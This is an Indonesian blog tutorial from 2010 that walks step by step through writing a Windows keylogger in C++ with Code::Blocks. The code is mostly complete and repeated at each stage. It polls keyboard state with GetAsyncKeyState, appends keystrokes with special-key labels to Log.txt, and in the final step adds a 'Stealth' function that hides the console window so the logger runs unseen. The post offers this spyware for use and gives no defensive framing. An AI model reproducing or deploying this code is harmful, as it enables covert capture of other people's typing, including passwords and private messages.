Bikin KeyL*gger C++ di Wind*ws

May 16, 2010

Jadi critanya, habis download video tutorial bikin keyl*gger pake Dev-C++. Tapi saya adanya Code::Block, yaudah dipaksain aja…khusus buat pembaca blog petarung ini.


Langsung saja gan, alat2 yg dipersiapkan:

  1. Laptop/PC dengan sistem operasi paling gk Wind*ws XP

  2. Software Code::Block. Buat IDE+Compiler C++ nya. Download dimari.
  3. Baca blog ini sampe habis

oke gan,segera dimulai.

  1. Pastikan Code::Block udah teinstall di laptop agan dengan baik. Setelah itu jalankan.

  2. Buka halaman kosong, kasih nama terserah, misal: key.cpp, simpan di folder key, di desktop.
  3. Ketik kode bagian kerangka berikut gan:
    #include <iostream>
    using namespace std;
    
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    
    
    int main(){
        system("PAUSE");
        return 0;
    }
    /* ************************************** */
    /* ************************************** */
    int Save (int key_stroke, char *file){
        return 0;
    }
    
  4. Kompile, dan jalankan (F9), lihat hasilnya.
  5. buka http://www.asciitable.com untuk mengetahui kode2 ASCII dari masing-masing karakter di keyboard.
  6. Edit source code awal tadi,menjadi seperti ini:
    #include <iostream>
    using namespace std;
    
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    
    
    int main(){
        char i;
    
        while(1){
            for (i=8; i<=190; i++){
                if(GetAsyncKeyState(i)==-32767)
                Save (i, "Log.txt");
            }
        }
        system("PAUSE");
        return 0;
    }
    /* ************************************** */
    /* ************************************** */
    int Save (int key_stroke, char *file){
        cout << key_stroke << endl;
        return 0;
    }
    
  7. kompile, lihat hasilnya.
  8. Edit lagi source codenya, menjadi kayak gini:
    #include <iostream>
    using namespace std;
    
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    
    
    int main(){
        char i;
    
        while(1){
            for (i=8; i<=190; i++){
                if(GetAsyncKeyState(i)==-32767)
                Save (i, "Log.txt");
            }
        }
        system("PAUSE");
        return 0;
    }
    /* ************************************** */
    /* ************************************** */
    int Save (int key_stroke, char *file){
        if((key_stroke==1)||(key_stroke==2))
            return 0;
    
        FILE *OUTPUT_FILE;
        OUTPUT_FILE=fopen(file, "a+");
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
        fclose(OUTPUT_FILE);
        cout << key_stroke << endl;
        return 0;
    }
    
  9. kompile lagi, dan ketikkan sembarang karakter.
  10. lihat di folder key, sudah terbentuk file log.txt seharusnya.
  11. Edit lagi boss source codenya jadina kek gini:
    #include <iostream>
    using namespace std;
    
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    
    
    int main(){
        char i;
    
        while(1){
            for (i=8; i<=190; i++){
                if(GetAsyncKeyState(i)==-32767)
                Save (i, "Log.txt");
            }
        }
        system("PAUSE");
        return 0;
    }
    /* ************************************** */
    /* ************************************** */
    int Save (int key_stroke, char *file){
        if((key_stroke==1)||(key_stroke==2))
            return 0;
    
        FILE *OUTPUT_FILE;
        OUTPUT_FILE=fopen(file, "a+");
        cout << key_stroke << endl;
            if (key_stroke == 8)
                fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (key_stroke == 13)
                fprintf(OUTPUT_FILE, "%s", "\n");
            else if (key_stroke == 32)
                fprintf(OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB)
                fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
                fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
                fprintf(OUTPUT_FILE, "%s", "[CTRL]");
            else if (key_stroke == VK_ESCAPE)
                fprintf(OUTPUT_FILE, "%s", "[ESC]");
            else if (key_stroke == VK_END)
                fprintf(OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME)
                fprintf(OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT)
                fprintf(OUTPUT_FILE, "%s", "[LEFT]");
            else if (key_stroke == VK_UP)
                fprintf(OUTPUT_FILE, "%s", "[UP]");
            else if (key_stroke == VK_RIGHT)
                fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
            else if (key_stroke == VK_DOWN)
                fprintf(OUTPUT_FILE, "%s", "[DOWN]");
            else if (key_stroke == 190 || key_stroke == 110)
                fprintf(OUTPUT_FILE, "%s", ".");
            else
                fprintf(OUTPUT_FILE, "%s", &key_stroke);
        fclose(OUTPUT_FILE);
        return 0;
    }
    
  12. kompile, dan lihat hasilnya lagi.
  13. Edit lagi bhuoss source codenya jadinya kek gini:
    #include <iostream>
    using namespace std;
    
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main(){
        Stealth();
        char i;
    
        while(1){
            for (i=8; i<=190; i++){
                if(GetAsyncKeyState(i)==-32767)
                Save (i, "Log.txt");
            }
        }
        system("PAUSE");
        return 0;
    }
    /* ************************************** */
    /* ************************************** */
    int Save (int key_stroke, char *file){
        if((key_stroke==1)||(key_stroke==2))
            return 0;
    
        FILE *OUTPUT_FILE;
        OUTPUT_FILE=fopen(file, "a+");
        cout << key_stroke << endl;
            if (key_stroke == 8)
                fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (key_stroke == 13)
                fprintf(OUTPUT_FILE, "%s", "\n");
            else if (key_stroke == 32)
                fprintf(OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB)
                fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
                fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
                fprintf(OUTPUT_FILE, "%s", "[CTRL]");
            else if (key_stroke == VK_ESCAPE)
                fprintf(OUTPUT_FILE, "%s", "[ESC]");
            else if (key_stroke == VK_END)
                fprintf(OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME)
                fprintf(OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT)
                fprintf(OUTPUT_FILE, "%s", "[LEFT]");
            else if (key_stroke == VK_UP)
                fprintf(OUTPUT_FILE, "%s", "[UP]");
            else if (key_stroke == VK_RIGHT)
                fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
            else if (key_stroke == VK_DOWN)
                fprintf(OUTPUT_FILE, "%s", "[DOWN]");
            else if (key_stroke == 190 || key_stroke == 110)
                fprintf(OUTPUT_FILE, "%s", ".");
            else
                fprintf(OUTPUT_FILE, "%s", &key_stroke);
        fclose(OUTPUT_FILE);
        return 0;
    }
    
    /* ************************************** */
    /* ************************************** */
    void Stealth(){
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth,0);
    
    }
    
  14. Kompile. Dah dalam fungsi stealth. Selesai deh.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: